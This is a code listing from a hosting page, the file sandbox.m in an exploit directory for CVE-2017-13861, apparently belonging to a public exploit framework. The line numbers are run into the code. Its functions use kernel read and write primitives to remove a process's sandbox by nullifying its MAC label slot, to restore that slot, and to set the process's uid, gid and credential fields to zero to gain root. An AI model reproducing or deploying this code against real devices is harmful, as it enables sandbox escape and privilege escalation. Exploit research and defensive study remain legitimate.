Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/sandbox.m
Views: 11780
1#include "kernel_utils.h"2#include "offsetof.h"34#import <Foundation/Foundation.h>5#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)67uint64_t unsandbox(pid_t pid) {8if (!pid) return -1;910LOG("[*] Unsandboxing pid %d\n", pid);1112uint64_t proc = proc_of_pid(pid); // pid's proccess structure on the kernel13uint64_t ucred = KernelRead_64bits(proc + off_p_ucred); // pid credentials14uint64_t cr_label = KernelRead_64bits(ucred + off_ucred_cr_label); // MAC label15uint64_t orig_sb = KernelRead_64bits(cr_label + off_sandbox_slot);1617KernelWrite_64bits(cr_label + off_sandbox_slot /* First slot is AMFI's. so, this is second? */, 0); //get rid of sandbox by nullifying it1819return (KernelRead_64bits(KernelRead_64bits(ucred + off_ucred_cr_label) + off_sandbox_slot) == 0) ? orig_sb : -1;20}2122int sandbox(pid_t pid, uint64_t sb) {23if (!pid) return -1;2425LOG("[*] Sandboxing pid %d with slot at 0x%llx\n", pid, sb);2627uint64_t proc = proc_of_pid(pid); // pid's proccess structure on the kernel28uint64_t ucred = KernelRead_64bits(proc + off_p_ucred); // pid credentials29uint64_t cr_label = KernelRead_64bits(ucred + off_ucred_cr_label /* MAC label */);30KernelWrite_64bits(cr_label + off_sandbox_slot /* First slot is AMFI's. so, this is second? */, sb);3132return (KernelRead_64bits(KernelRead_64bits(ucred + off_ucred_cr_label) + off_sandbox_slot) == sb) ? 0 : -1;33}3435int rootify(pid_t pid) {36if (!pid) return -1;3738uint64_t proc = proc_of_pid(pid);39uint64_t ucred = KernelRead_64bits(proc + off_p_ucred);40//make everything 0 without setuid(0), pretty straightforward.41KernelWrite_32bits(proc + off_p_uid, 0);42KernelWrite_32bits(proc + off_p_ruid, 0);43KernelWrite_32bits(proc + off_p_gid, 0);44KernelWrite_32bits(proc + off_p_rgid, 0);45KernelWrite_32bits(ucred + off_ucred_cr_uid, 0);46KernelWrite_32bits(ucred + off_ucred_cr_ruid, 0);47KernelWrite_32bits(ucred + off_ucred_cr_svuid, 0);48KernelWrite_32bits(ucred + off_ucred_cr_ngroups, 1);49KernelWrite_32bits(ucred + off_ucred_cr_groups, 0);50KernelWrite_32bits(ucred + off_ucred_cr_rgid, 0);51KernelWrite_32bits(ucred + off_ucred_cr_svgid, 0);5253return (KernelRead_32bits(proc + off_p_uid) == 0) ? 0 : -1;54}5556575859